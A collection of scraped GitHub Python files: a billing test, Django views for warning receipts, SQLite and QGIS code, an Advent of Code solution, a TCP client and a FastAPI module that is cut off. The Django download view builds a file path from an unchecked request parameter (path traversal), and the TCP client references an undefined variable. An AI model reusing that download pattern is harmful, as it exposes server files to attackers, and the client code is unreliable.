+{"seq_id":"29047061807","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import with_statement\n\nfrom balance.actions.invoice_turnon import InvoiceTurnOn\nfrom balance import mapper\nfrom tests.base import BalanceTest\nfrom tests.object_builder import ClientBuilder, OrderBuilder, PersonBuilder, BasketBuilder, Getter, \\\n    BasketItemBuilder, RequestBuilder, InvoiceBuilder\n\n\nclass TestGetPayQuery(BalanceTest):\n    def setUp(self):\n        super(TestGetPayQuery, self).setUp()\n        self.client = ClientBuilder(is_agency=1).build(self.session).obj\n\n    def cr_person(self, category):\n        return PersonBuilder(type=category, client=self.client).build(self.session).obj\n\n    def cr_request(self, service_id=7, order_client=None):\n        order = OrderBuilder(\n            client=order_client or self.client,\n            agency=self.client if order_client else None,\n            service=Getter(mapper.Service, service_id)\n        )\n        basket = BasketBuilder(\n            client=self.client,\n            rows=[BasketItemBuilder(quantity=1, order=order)]\n        )\n        request = RequestBuilder(basket=basket).build(self.session).obj\n        return request\n\n    def cr_invoice(self, person, paysys, service_id=7, order_client=None):\n        invoice = InvoiceBuilder(\n            person=person,\n            paysys=paysys,\n            request=self.cr_request(service_id, order_client)\n        ).build(self.session).obj\n        InvoiceTurnOn(invoice, manual=True).do()\n        return invoice\n\n    @staticmethod\n    def _extract_service_categories(res):\n        return {\n            s_id: {(f and f.id, pc.category) for f, pc in rows}\n            for s_id, rows in res.iteritems()\n            }\n\n    def test_has_invoices_invoice(self):\n        person = self.cr_person('yt')\n        paysys_usd = Getter(mapper.Paysys, 1013)\n        paysys_rur = Getter(mapper.Paysys, 1014)\n        paysys_eur = Getter(mapper.Paysys, 1023)\n        self.cr_invoice(person, paysys_usd, 7)\n        self.cr_invoice(person, paysys_rur, 7)\n        self.cr_invoice(person, paysys_eur, 11)\n        self.assertTrue(self.client.has_invoices(7))\n        self.assertTrue(self.client.has_invoices(7, 'RUR'))\n        self.assertTrue(self.client.has_invoices(7, 'USD'))\n        self.assertFalse(self.client.has_invoices(7, 'EUR'))\n\n    def test_has_invoices_subclient(self):\n        subclient = ClientBuilder(agency=self.client).build(self.session).obj\n        person = self.cr_person('yt')\n        paysys_usd = Getter(mapper.Paysys, 1013)\n        paysys_rur = Getter(mapper.Paysys, 1014)\n        paysys_eur = Getter(mapper.Paysys, 1023)\n        self.cr_invoice(person, paysys_usd, 7, subclient)\n        self.cr_invoice(person, paysys_rur, 7, subclient)\n        self.cr_invoice(person, paysys_eur, 11, subclient)\n        self.assertTrue(subclient.has_invoices(7))\n        self.assertTrue(subclient.has_invoices(7, 'USD'))\n        self.assertTrue(subclient.has_invoices(7, 'RUR'))\n        self.assertFalse(subclient.has_invoices(7, 'EUR'))\n\n    def test_has_invoices_no_invoice(self):\n        self.cr_person('yt')\n        self.assertFalse(self.client.has_invoices(7))\n        self.assertFalse(self.client.has_invoices(7, 'RUR'))\n\n    def test_has_invoices_no_person(self):\n        self.assertFalse(self.client.has_invoices(7))\n        self.assertFalse(self.client.has_invoices(7, 'RUR'))\n\n\nif __name__ == '__main__':\n    import nose.core\n\n    # nose.core.run(defaultTest='test_clients:TestXXX.test_yyy') # add your test class/method\n    nose.core.runmodule()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/client/test_get_invoices.py","file_name":"test_get_invoices.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7774490782","text":"from django.http import HttpResponseRedirect,FileResponse\nfrom django.shortcuts import render\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom datetime import datetime\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.db import connection\nfrom systemsettings.views import checkpower\nfrom warning.models import WarningNotice\nimport os\nfrom django.utils.http import urlquote\nfrom django.db.models import Q\nfrom systemsettings.models import MyUser\nfrom warningre.models import WarningReceipt\nfrom django.contrib import messages\nfrom myworkflow.models import MyProcess\nfrom lbworkflow.models import ProcessInstance\n\n\n# 上传文件\ndef handle_uploaded_file(f):\n    baseDir = os.path.dirname(os.path.abspath(__name__))  # 获取运行路径\n    jpgdir = os.path.join(baseDir, 'static')  # 加上static路径\n    filename = os.path.join(jpgdir, f.name)\n    fobj = open(filename, 'wb+')  # 打开上传文件\n    for x in f.chunks():\n        fobj.write(x)  # request.FILES,文件专用\n    fobj.close()\n\n\n# 下载附件\ndef down_file(request):\n    home = 'media/' + request.GET.get('data')  # 获取文件数据库路径\n    file = open(home, 'rb')  # 写入文件\n    response = FileResponse(file)  # 返回response对象\n    response['Content-Type'] = 'application/octet-stream'  # 定义response对象返回类型\n    home_cut = str(home).split('/')[-1]  # 定义文件名称和格式\n    response['Content-Disposition'] = 'attachment; filename=\"%s\"' % (urlquote(home_cut))  # 把文件名称写入response对象\n    return response\n\n\n# 告警回执添加\ndef add_warningreceipt(request):\n    action = request.GET.get('action')\n    menuid = request.GET.get('menuid')\n    power = checkpower(menuid, request.session['mylogin'], request.session['role_id'])\n    request.session['powerdata'] = power\n\n    # 获取用户及公司\n    user = request.session.get('mylogin')\n    place = user.myuser.company\n\n    # 设置number为在前段页面固定的\n    number = place.comsimplename + datetime.now().strftime(\"%Y%m%d%H%M%S\")\n\n    if request.method == 'GET':\n        # 查询该告警通知单 在审批流中的状态,如果该通知单为归档状态,则将该通知单添加至data列表中\n        data = []   # 已归档的告警通知单\n        waring_notice_list = WarningNotice.objects.filter(is_activate=1, place=place)\n        for notice in waring_notice_list:\n            try:\n                if notice.pinstance.cur_node.mynode.node_name == \"归档\":   # 归档状态\n                    data.append(notice)\n            except:\n                pass  # 未归档\n\n\n        return render(request, 'warning_re/add_warningreceipt.html',locals())\n\n    elif request.method == 'POST':\n        created_at = last_updated_at = datetime.now()\n        number = request.POST.get('number')\n        result = request.POST.get('result')\n        content = request.POST.get('content')\n        warningnotice_id = request.POST.get('warning_notice')\n        warning_notice_data = WarningNotice.objects.filter(id=warningnotice_id).first()\n        enclosure = request.FILES.get('enclosure')\n        num = request.POST['num2']\n\n        if enclosure is not None:\n            enclosure.name = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S') + str(enclosure.name)\n\n        all_data = WarningReceipt.objects.create(place=place,\n                                                 state='拟定',\n                                                 result=result,\n                                                 number=number,\n                                                 content=content,\n                                                 enclosure=enclosure,\n                                                 warning_notice=warning_notice_data,\n                                                 created_at=created_at,\n                                                 last_updated_at=last_updated_at,\n                                                 )\n        all_data.save()\n        my_process = MyProcess.objects.filter(app_name='告警回执', supervision_major=all_data.warning_notice.supervise_major,\n                                              is_activate=1, company=place).first()\n\n        if my_process == None:  # 如果监督专业和指定number的标准的myprocess没有找到，就找未指定监督专业，但是指定number的\n            my_process = MyProcess.objects.filter(app_name='告警回执', is_activate=1, company=place).first()\n            if my_process == None:\n                messages.info(request, 'Success %s: %s,%s' % ('保存', all_data, '暂无匹配的工作流程,请先去配置流程后再提交！'))\n                return HttpResponseRedirect(\n                    '/warningre/' + str(all_data.id) + '/detail/?action=detail&menuid=14')\n        process = my_process.process\n        all_data.created_by = request.session['mylogin']\n        all_data.save()\n        if num == '1':\n            all_data.create_pinstance(process=process)\n            messages.info(request, 'Success %s: %s' % (\"保存\", all_data))\n            return HttpResponseRedirect(\n                '/warningre/' + str(all_data.id) + '/detail2/?action=detail&menuid=14')\n        elif num == '2':\n            all_data.create_pinstance(process=process, submit=True)\n            all_data.created_by = request.user\n            all_data.save()\n            new_processinstance = all_data.pinstance\n            messages.info(request, 'Success %s: %s' % ('提交', all_data))\n\n            return HttpResponseRedirect(\n                '/warningre/' + str(all_data.id) + '/detail/?action=detail&menuid=14&pinstance_id=' + str(\n                    new_processinstance.id))\n\n\n\n# 搜索告警回执单\n@csrf_exempt\ndef warning_rece_search(request):\n    # print('aaa')\n    action = request.GET.get('action')\n    menuid = request.GET.get('menuid')\n    power = checkpower(menuid, request.session['mylogin'], request.session['role_id'])\n    request.session['powerdata'] = power\n    # 获取登录人信息\n    user = request.session.get('mylogin')\n    place = user.myuser.company\n    waring_notice_list = WarningNotice.objects.filter(is_activate=1)\n    user_list = MyUser.objects.filter(company=place)\n    # 获取该登录人的组织机构\n    # Department = request.session.get('Department')\n    # 定义一个空的列表,用户保存最终要展示的所有符合要求的数据记录\n    # 找到该登录人的组织机构所有下属机构\n    # orgid_list = Department.objects.filter(parent=Department)\n    # orgid_list = list(orgid_list)\n    # orgid_list.append(Department)\n    # 定义空的列表，用于保存筛选好的数据\n    # warning_rece_list = []\n    # 获取前端传来的数据\n    # receipt_user = request.GET.get('receipt_user','')\n    waring_notice = request.GET.get('waring_notice','')\n    receipt_content = request.GET.get('receipt_content','')\n    receipt_result = request.GET.get('receipt_result','')\n\n    # if receipt_user == '':\n    if waring_notice == '':\n        warning_rece_list = WarningReceipt.objects.filter(Q(content__icontains=receipt_content),Q(result__icontains=receipt_result),Q(is_activate=1))\n    else:\n        warning_rece_list = WarningReceipt.objects.filter(Q(warning_notice_id=waring_notice),Q(content__icontains=receipt_content),Q(result__icontains=receipt_result),Q(is_activate=1))\n\n    # else:\n    #     if waring_notice == '':\n    #         warning_rece_list = WarningReceipt.objects.filter(Q(warning_noticeexetuct_user_id=receipt_user),Q(content__icontains=receipt_content),\n    #                                                           Q(result__icontains=receipt_result), Q(is_activate=1))\n    #     else:\n    #         warning_rece_list = WarningReceipt.objects.filter(Q(warning_notice_exetuct_user_id=receipt_user),Q(warning_notice_id=waring_notice),\n    #                                                           Q(content__icontains=receipt_content),\n    #                                                           Q(result__icontains=receipt_result), Q(is_activate=1))\n\n    # abnormal = request.POST['abnormal']\n    # result = request.POST['result']\n    # if len(number) == 0:\n    #     number = ''\n    # if len(orgid) == 0:\n    #     orgid = \"\"\n    # elif len(plan) == 0:\n    #     plan = \"\"\n    # elif len(abnormal) == 0:\n    #     abnormal = \"\"\n    # elif len(result) == 0:\n    #     result = \"\"\n    # cursor = connection.cursor()\n    # cursor.execute(\n    #     \"SELECT id FROM warningre_warningreceipt where orgid like '%%%%%s%%%%' and number like '%%%%%s%%%%' and is_activate=1 and plan like '%%%%%s%%%%' and abnormal like '%%%%%s%%%%' and result like '%%%%%s%%%%' \" % (\n    #         orgid, number, plan, abnormal, result))\n    # # id 列表\n    # data = list(cursor.fetchall())\n    # id_list = []\n    # for row in data:\n    #     # 将id取出，存入列表\n    #     id_list.append(row[0])\n    # #     id_list.append(row)\n    #\n    # for id in id_list:\n    #     # 通过id获取到数据对象\n    #     warningnotice_rece_plan = WarningReceipt.objects.get(id=id)\n    #     # 判断该数据对象的组织机构是否属于当前组织机构或下属机构\n    #     if Department.objects.get(name=warningnotice_rece_plan.orgid) in orgid_list:\n    #         warning_rece_list.append(warningnotice_rece_plan)\n    # cursor.close()\n    # 去重\n    data = list(set(warning_rece_list))\n    # 分页\n    paginator = Paginator(data, 10)\n    # 网页中的page值\n    page = request.GET.get(\"page\",'1')\n    try:\n        # 传递HTML当前页对象\n        data = paginator.page(page)\n    except PageNotAnInteger:\n        data = paginator.page(1)\n    except EmptyPage:\n        data = paginator.page(paginator.num_pages)\n\n    page_last = (int(page) - 1) * 10\n    total_page = paginator.num_pages\n    if total_page > 5:\n        if page != '':\n            page = int(page)\n            if page < 5:\n                page_range = list(range(1, 6))\n            elif page >= 5:\n                page_range = list(range(page - 4, page + 1))\n    else:\n        page_range = list(range(1, total_page + 1))\n\n    return render(request, 'warning_re/show_warningreceipt.html',locals())\n\n\n# 展示所有告警回执单\ndef show_warningreceipt(request):\n    action = request.GET.get('action')\n    menuid = request.GET.get('menuid')\n    power = checkpower(menuid, request.session['mylogin'], request.session['role_id'])\n    request.session['powerdata'] = power\n    # 获取到登录的用户及所在公司\n    user = request.session.get('mylogin')\n    place = user.myuser.company\n    waring_notice_list = WarningNotice.objects.filter(is_activate=1)\n    user_list = MyUser.objects.filter(company=place)\n    warning_data_list =[]\n    # if user.is_superuser:\n    #     warning_data_list = WarningReceipt.objects.filter(is_activate=1)\n    # else:\n    warning_data_list = WarningReceipt.objects.filter(is_activate=1,place=place).order_by('-id')\n\n    # 总条数\n    total_counts = WarningReceipt.objects.filter(is_activate=1).count()\n\n    # 分页\n    paginator = Paginator(warning_data_list, 10)\n    # 网页中的page值\n    page = request.GET.get(\"page\",'1')\n    try:\n        # 传递HTML当前页对象\n        warning_data_list = paginator.page(page)\n    except PageNotAnInteger:\n        warning_data_list = paginator.page(1)\n    except EmptyPage:\n        warning_data_list = paginator.page(paginator.num_pages)\n\n    page_last = (int(page) - 1) * 10\n    total_page = paginator.num_pages\n    if total_page > 5:\n        if page != '':\n            page = int(page)\n            if page < 5:\n                page_range = list(range(1, 6))\n            elif page >= 5:\n                page_range = list(range(page - 4, page + 1))\n    else:\n        page_range = list(range(1, total_page + 1))\n    return render(request, 'warning_re/show_warningreceipt.html',\n                  {'data': warning_data_list,'action':action,'menuid':menuid,'place':place,\n                   'user_list':user_list,'waring_notice_list':waring_notice_list,'page_range':page_range,'total_counts':total_counts,'page_last':page_last,'total_page':total_page})\n\n\n# 展示一个告警详情信息\ndef show_one_warningreceipt(request, wid):\n    action = request.GET.get('action')\n    menuid = request.GET.get('menuid')\n    power = checkpower(menuid, request.session['mylogin'], request.session['role_id'])\n    request.session['powerdata'] = power\n    data = WarningReceipt.objects.filter(id=wid).first()\n    try:\n        file_name = data.enclosure.name.split('/')[1]\n    except:\n        file_name = ''\n    data_sup = WarningNotice.objects.filter(id=data.warning_notice.id).first()\n    processinstance = ProcessInstance.objects.filter(id=request.GET.get('pinstance_id')).first()\n    processinstance = data.pinstance\n    if processinstance != None:\n        return render(request, 'warning_re/show_one_warningreceipt.html', locals())\n    else:\n        return render(request, 'warning_re/show_one_warningreceipt2.html', locals())\n\n\n\n# 编辑一个告警回执单\ndef one_warningreceipt(request, wid):\n    action = request.GET.get('action')\n    menuid = request.GET.get('menuid')\n    power = checkpower(menuid, request.session['mylogin'], request.session['role_id'])\n    request.session['powerdata'] = power\n\n    # 获取用户及公司\n    user = request.session.get('mylogin')\n    place = user.myuser.company\n\n    if request.method == 'GET':\n        # 查询该告警通知单 在审批流中的状态,如果该通知单为归档状态,则将该通知单添加至data列表中\n        waring_data = []  # 已归档的告警通知单\n        waring_notice_list = WarningNotice.objects.filter(is_activate=1, place=place)\n        for notice in waring_notice_list:\n            try:\n                if notice.pinstance.cur_node.mynode.node_name == \"归档\":  # 归档状态\n                    waring_data.append(notice)\n            except:\n                pass  # 未归档\n        data = WarningReceipt.objects.filter(id=wid).first()\n        data_sup = WarningNotice.objects.filter(id=data.warning_notice.id).first()\n        return render(request, 'warning_re/one_warningreceipt.html',locals())\n    elif request.method == 'POST':\n        created_at = last_updated_at = datetime.now()\n        number = request.POST.get('number')\n        result = request.POST.get('result')\n        content = request.POST.get('content')\n        warningnotice_id = request.POST.get('warning_notice')\n        warning_notice_data = WarningNotice.objects.filter(id=warningnotice_id).first()\n   \n        all_data = WarningReceipt.objects.filter(id=wid).first()\n        all_data.place=place\n        all_data.state='拟定'\n        all_data.result=result\n        all_data.number=number\n        all_data.content=content\n        all_data.warning_notice=warning_notice_data\n        all_data.created_at=created_at\n        all_data.ast_updated_at=last_updated_at\n        all_data.save()\n        return HttpResponseRedirect('/warningre/list/?action=list&menuid=14')\n\n\n# 删除告警管理回执单\ndef del_warningreceipt(request, wid):\n    data = WarningReceipt.objects.filter(id=wid).first()\n    data.is_activate = 0\n    data.save()\n    return HttpResponseRedirect('/warningre/list/?action=list&menuid=14')\n","repo_name":"Chuazhen0/SafetyProductionSystem","sub_path":"SafetyProductionSystem/warningre/myviews.py","file_name":"myviews.py","file_ext":"py","file_size_in_byte":15199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4261993604","text":"import sqlite3\nfrom sqlite3 import Error\nimport os\nimport sys\n\n# SQLITE CONNECTIONS:\n\nclass DbConnection:\n\tdef __init__(self, dbname):\n\t\tself.dbname = dbname # \"mystoredb.db\"\n\t\tself.base_path = os.path.dirname( os.path.abspath(__file__))\n\t\tself.config_path = os.path.join(self.base_path, self.dbname)\n\n\n\tdef dbCreation(self):\n\n\t\ttry:\n\t\t\tself.conn = sqlite3.connect(self.config_path)\n\t\t\tprint(sqlite3.version)\n\t\texcept Error as e:\n\t\t\tprint(e)\n\n\tdef create_app_tables(self):\n\t\t\"\"\" create a database connection to a SQLite database \"\"\"\n\t\tconn = None\n\t\ttry:\n\t\t\tconn = sqlite3.connect(self.config_path)\n\t\t\tcursor = conn.cursor()\n\n\t\t\tsql = \"\"\" CREATE TABLE current_transaction(\n\t\t\ttid INT PRIMARY KEY,\n\t\t\ttdate DATE,\n\t\t\titme CHAR(30),\n\t\t\tunit INT,\n\t\t\tprice INT)\n\t\t\t\"\"\"\n\n\t\t\tcursor.execute(sql)\n\t\t\tprint(\"Table APP_USERS created successfully........\")\n\t\t\t# Commit your changes in the database\n\t\t\tconn.commit()\n\t\t\t#Closing the connection\n\t\t\tconn.close()\n\n\t\texcept Error as e:\n\t\t\tprint(e)\n\t\tfinally:\n\t\t\tif conn:\n\t\t\t\tconn.close()\n\n\n\n\ndef mainDB(dbname):\n\tglobal flag\n\tflag = False\n\tbase_path = os.path.dirname( os.path.abspath(__file__))\n\tconfig_path = os.path.join(base_path, dbname)\n\tprint(base_path)\n\tprint(config_path)\n\tif os.path.exists(config_path):\n\t\tflag = True\n\treturn flag\n\nif __name__ == \"__main__\":\n\tdbname = input(\"Please enter DB Name: \")\n\tflag = mainDB(dbname)\n\tif flag:\n\t\tprint(\"Db exists\")\n\t\tdbc = DbConnection(dbname)\n\t\tdbc.create_app_tables()\n\telse:\n\t\tprint(\"Db not exists\")\n\t\tdbc = DbConnection(dbname)\n\t\tdbc.dbCreation()\n\t\tdbc.create_app_tables()\n","repo_name":"WalleEve/Python3","sub_path":"Tkinter/Shop/mystoreTables.py","file_name":"mystoreTables.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72557409042","text":"from qgis.PyQt.QtGui import QRegExpValidator, QPalette, QFont\nfrom qgis.PyQt.QtWidgets import QDialog, QTableWidgetItem, QDialogButtonBox\nfrom qgis.PyQt.QtCore import QRegExp, Qt\nfrom qgis.PyQt.QtSql import *\n\n\nfrom .zone_dialog import Ui_Dialog\nfrom .xaffected import Dialog as xaffdlg\n\n\nclass Dialog(QDialog, Ui_Dialog):         \n    def __init__(self):\n        \"\"\"Constructor for the dialog.\n        \n        \"\"\"\n        \n        QDialog.__init__(self)                               \n                        \n        self.setupUi(self)\n\n        self.btnok = self.buttonBox.button(QDialogButtonBox.Ok)\n\n        self.toolButton.setToolTip('Add new cases')\n        self.toolButton.clicked.connect(self.addNew)\n        self.toolButton_2.setToolTip('Delete selected row')\n        self.toolButton_2.clicked.connect(self.removeRec)\n        \n        # self.model = QSqlQueryModel()\n        self.tablst = []\n        re = QRegExp('[a-z0-9\\_]+')\n        val = QRegExpValidator(re)\n        self.lineEdit.setValidator(val)\n\n        self.lineEdit.textChanged.connect(self.nameCtrl)\n        # self.lineEdit.editingFinished.connect(self.nameCtrl)\n        self.comboBox.currentIndexChanged.connect(self.nameCrea)\n        self.comboBox_2.currentIndexChanged.connect(self.nameCrea)\n\n        self.comboBox_3.addItem('')\n        self.comboBox_3.addItem('Control')\n        self.comboBox_3.addItem('Protection')\n        self.comboBox_3.addItem('Surveillance')\n        self.comboBox_3.addItem('Restriction')\n        self.comboBox_3.addItem('Vaccination')\n        # self.comboBox_3.addItem('Containment')\n        # self.comboBox_3.addItem('Protection')\n        # self.comboBox_3.addItem('Vaccination')\n        self.comboBox_3.currentIndexChanged.connect(self.saveCtrl)\n\n        self.comboBox_4.addItem('Intersections only')\n        self.comboBox_4.addItem('Overlapped ROIs')\n        self.comboBox_4.currentIndexChanged.connect(self.info)\n        self.info()\n\n        self.comboBox_5.addItem('')\n        self.comboBox_5.addItem('Yes')\n        self.comboBox_5.addItem('No')\n        self.comboBox_6.addItem('')\n        self.comboBox_6.addItem('Yes')\n        self.comboBox_6.addItem('No')\n        self.comboBox_7.addItem('')\n        self.comboBox_7.addItem('Yes')\n        self.comboBox_7.addItem('No')\n        self.comboBox_8.addItem('')\n        self.comboBox_8.addItem('Yes')\n        self.comboBox_8.addItem('No')\n        self.comboBox_9.addItem('')\n        self.comboBox_9.addItem('Yes')\n        self.comboBox_9.addItem('No')\n        self.comboBox_10.addItem('')\n        self.comboBox_10.addItem('Yes')\n        self.comboBox_10.addItem('No')\n        self.comboBox_11.addItem('')\n        self.comboBox_11.addItem('Yes')\n        self.comboBox_11.addItem('No')\n        self.comboBox_12.addItem('')\n        self.comboBox_12.addItem('Yes')\n        self.comboBox_12.addItem('No')\n\n\n    def info(self):\n        if self.comboBox_4.currentText()=='Intersections only':\n            self.textEdit.setText(u'The new zone layer will contain only the intersection of the buffer and the ROIs layer.')\n        else:\n            self.textEdit.setText(u'The new zone layer will contain all the areas are overlapped by the buffer.')\n\n\n    def nameCrea(self):\n        s = '%s_selected_by_%s' % (self.comboBox_2.currentText(), self.comboBox.currentText())\n        self.lineEdit.setText(s.lower())\n\n\n    def nameCtrl(self):\n        ss = 'zone_a_%s' % self.lineEdit.text()\n        if ss in self.tablst:\n            self.btnok.setEnabled(False)\n            pal = QPalette()\n            pal.setColor(self.label_17.backgroundRole(), Qt.red)\n            pal.setColor(self.label_17.foregroundRole(), Qt.red)\n            self.label_17.setPalette(pal)\n            self.label_17.setText('Database contain layer with tis name!')\n        else:\n            self.btnok.setEnabled(True)\n\n        self.saveCtrl()\n\n        \n    def addNew(self):\n        dlg = xaffdlg()\n        x = (self.x()+self.width()/2)-dlg.width()/2\n        y = (self.y()+self.height()/2)-dlg.height()/2\n        dlg.move(x,y)\n\n        dlg.setWindowTitle('Susceptible species')\n        dlg.lineEdit.setVisible(False)\n        dlg.label_2.setVisible(False)\n\n        for it in self.lstb:\n            dlg.comboBox.addItem(it)\n\n        if dlg.exec_() == QDialog.Accepted:\n            self.tableWidget.insertRow(self.tableWidget.rowCount())\n            nr = self.tableWidget.rowCount() - 1\n            item = QTableWidgetItem(dlg.comboBox.currentText())\n            self.tableWidget.setItem(nr, 0, item)\n            self.saveCtrl()\n\n    def removeRec(self):\n        if self.tableWidget.currentRow()>=0:\n            self.tableWidget.removeRow(self.tableWidget.currentRow())\n            item = self.tableWidget.item(self.tableWidget.currentRow(), 0)\n            self.tableWidget.setCurrentItem(item)\n            self.saveCtrl()\n\n\n    def saveCtrl(self):\n        n = 0\n        if self.lineEdit.text()=='':\n            n += 1\n        if self.comboBox_3.currentText()=='':\n            n += 1\n        if self.tableWidget.rowCount()==0:\n            n += 1\n\n        if n==0:\n            self.btnok.setEnabled(True)\n            self.label_17.setText('')\n        else:\n            self.btnok.setEnabled(False)\n            pal = QPalette()\n            pal.setColor(self.label_17.backgroundRole(), Qt.red)\n            pal.setColor(self.label_17.foregroundRole(), Qt.red)\n            self.label_17.setPalette(pal)\n            self.label_17.setText('All bold field must be given!')\n\n","repo_name":"IZSVenezie/VetEpiGIS-Tool","sub_path":"plugin/zone.py","file_name":"zone.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"40438498878","text":"import os\nimport sys\nimport math\nsys.path.append(os.path.dirname(__file__))\nimport utils\n\n\nEXPECTED_LINES = 2262\n\n\ndef part_one(array):\n    \n  new_max = 0\n  total = 0\n  for entry in array:\n    if entry != '':\n      total = total + entry\n    if entry == '':\n      if total > new_max:\n        new_max = total\n      total = 0\n  return new_max\n\n        \n\ndef part_two(array):\n    \n  all_list = []\n  total = 0\n  for entry in array:\n    if entry != '':\n      total = total + entry\n    if entry == '':\n      all_list.append(total)\n      total = 0\n  all_list.append(total)\n  total = 0\n  # print(all_list)\n  all_list.sort(reverse=True)\n  return (all_list[0] + all_list[1] + all_list[2])\n\n\ntest_input = \"\"\"1000\n2000\n3000\n\n4000\n\n5000\n6000\n\n7000\n8000\n9000\n\n10000\"\"\"\ntest_input_array = test_input.split(\"\\n\")\n\nfor i in range(len(test_input_array)):\n  if test_input_array[i] != '':\n    test_input_array[i] = int(test_input_array[i])\n\nprint(part_one(test_input_array))\n\ninput = utils.get_instructions(\"one\", EXPECTED_LINES)\nfor i in range(len(input)):\n  if input[i] != '':\n    input[i] = int(input[i])\n\nprint(part_one(input))\n\nprint(part_two(test_input_array))\nprint(part_two(input))\n","repo_name":"rbauwens/AdventOfCode2022","sub_path":"src/one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37633749025","text":"import socket\nimport sys\n\n# cd *\\Desktop\\PythonAdventures\\Programs\\ python TCPClient.py\n\ndef client_program():\n    host = socket.gethostname()  \n    port = 5000 \n    client_socket = socket.socket()  \n    client_socket.connect((host, port))  \n\n    message = input(\" -> \")  \n\n    while message.lower().strip() != 'bye':\n        client_socket.send(message.encode())  \n        \n\n        print(data)  \n\n        message = input(\" -> \")  \n\n    client_socket.close() \n\n\ndef main():\n    client_program()\n\nmain()","repo_name":"HarryG18/PythonAdventures","sub_path":"ES410 Stuff/TCPClient.py","file_name":"TCPClient.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31826369726","text":"import json\nimport logging\nimport time\n\nfrom models.EngineInspectionSchema import EngineInspectionData\nfrom schema.EnginePydantic import EngineInspectionSchema\nfrom sqlalchemy.orm import Session\nfrom config.db import engine\nfrom fastapi import status, HTTPException\n\nlog = logging.getLogger(\"API_LOG\")\n\n\nclass EngineInspection:\n    \"\"\"\n    This class should hold functions to perform the CRUD operations on engine_inspection table.\n    For usecases like, some other flow needs the engine inspection details for a\n    particular idea it can call this fucntion and get the relevant data.\n    Similarly all functions should be built in a similar design.\n    \"\"\"\n    def __init__(self, session=None):\n        # Added session object for easier unittesting.\n        self.session = session or Session\n\n    def get_engine_inspection(self, id):\n        \"\"\"\n        Return the record with id if it exists. Otherwise simply retunr []\n        :param id:\n        :return: [{}] or []\n        \"\"\"\n        record = []\n\n        try:\n            with self.session(bind=engine, expire_on_commit=False) as session:\n                record = session.query(EngineInspectionData).get(id)\n                if record is None:\n                    record = []\n        except Exception as err:\n            log.error(f\"Error occured: {err}\")\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n                detail=f\"Exception occured : {err}\",\n            ) from err\n        log.debug(f\"Processed get request for {id}, returning response.\")\n        return {\"record\": record}\n\n    @staticmethod\n    def get_all_records_with_filter(table, filter_stmt):\n        \"\"\"\n        Returns record for engine_inspection table with given filter statement\n        :param table: Schema table object\n        :param filter_stmt: filter stmt for returning records\n        :return: None\n        \"\"\"\n        try:\n            with Session(bind=engine, expire_on_commit=False) as session:\n                return session.query(table) \\\n                    .with_entities(EngineInspectionData.appointmentId) \\\n                    .filter(filter_stmt)\n        except Exception as err:\n            log.error(f\"Exception found while executing db query: {err}\")\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n                detail=f\"Exception occured : {err}\",\n            ) from err\n\n    @staticmethod\n    def validate_schema_and_deduplicate(record, filtered_records, error_response):\n        \"\"\"\n        Validate Schema for the given record. If schema is valid then the record\n        shouldn't be already present in the current filtered records.\n        Adds error response to passed dictionary.\n        Adds filtered and valid record to shared filtered_records object\n        :param record: dict,\n        :param error_response: dict,\n        :param filtered_records: Updates filtered records with a new key and value\n                                 key: appointmentID and value the converted schema\n        \"\"\"\n        # As these columns have space in their name we have to transform it.\n        record[\"inspectionDate\"] = record.pop(\"inspection date\", None)\n        record[\"inspectionStartTime\"] = record.pop(\"inspection time\", \"\")\n        try:\n            obj = EngineInspectionSchema(**record)\n        except Exception as err:\n            log.error(f\"Issue while creating pydantic schema: {err}\")\n            error_resp = {\n                \"error\": str(err),\n                \"appointmentId\": record[\"appointmentId\"],\n                \"message\": \"Schema creation failed for this appointmentID.\"\n            }\n            error_response[\"schema_validations\"].append(error_resp)\n        else:\n            if obj.appointmentId in filtered_records:\n                log.info(f'{obj.appointmentId} is duplicate in the current file, ignoring it.')\n                error_resp = {\n                    \"message\": f'{obj.appointmentId} is duplicate in the file',\n                    \"appointmentId\": record[\"appointmentId\"],\n                }\n                error_response[\"duplicate_records\"].append(error_resp)\n                return\n            filtered_records.update({obj.appointmentId: EngineInspectionData(**obj.dict())})\n\n    def drop_already_existing_records(self, filtered_records, error_response):\n        \"\"\"\n        We have to filter the records from current batch which are already presnt in DB.\n        Thus we get all the available records from the current batch of appointmentID\n        and filter records.\n        :param filtered_records: Records are removed inplace.\n        :param error_response: Response is added inplace\n        :return:\n        \"\"\"\n        # Calls function to get records which match the give filter\n        start_time = time.time()\n        records = self.get_all_records_with_filter(\n            EngineInspectionData, EngineInspectionData.appointmentId.in_(list(filtered_records.keys()))\n        )\n\n        for record in records:\n            try:\n                if filtered_records.pop(record.appointmentId, None):\n                    error_resp = {\n                        \"message\": f'{record.appointmentId} is already present in DB.',\n                        \"appointmentId\": record.appointmentId\n                    }\n                    error_response[\"duplicate_records\"].append(error_resp)\n            except Exception as err:\n                log.error(f\"Exception: {err}\")\n        log.info(f\"Removed already existing records in {round(time.time() - start_time, 2)}sec.\")\n\n    def post_engine_inspection(self, filedata):\n        \"\"\"\n        This functions creates pydantic schema objects for each record and filters\n        non-unique records. Records with already existing primary key are also filtered.\n        Remaining records are inserted to DB.\n        :param filedata: List[dict]\n        :return:\n        {\n            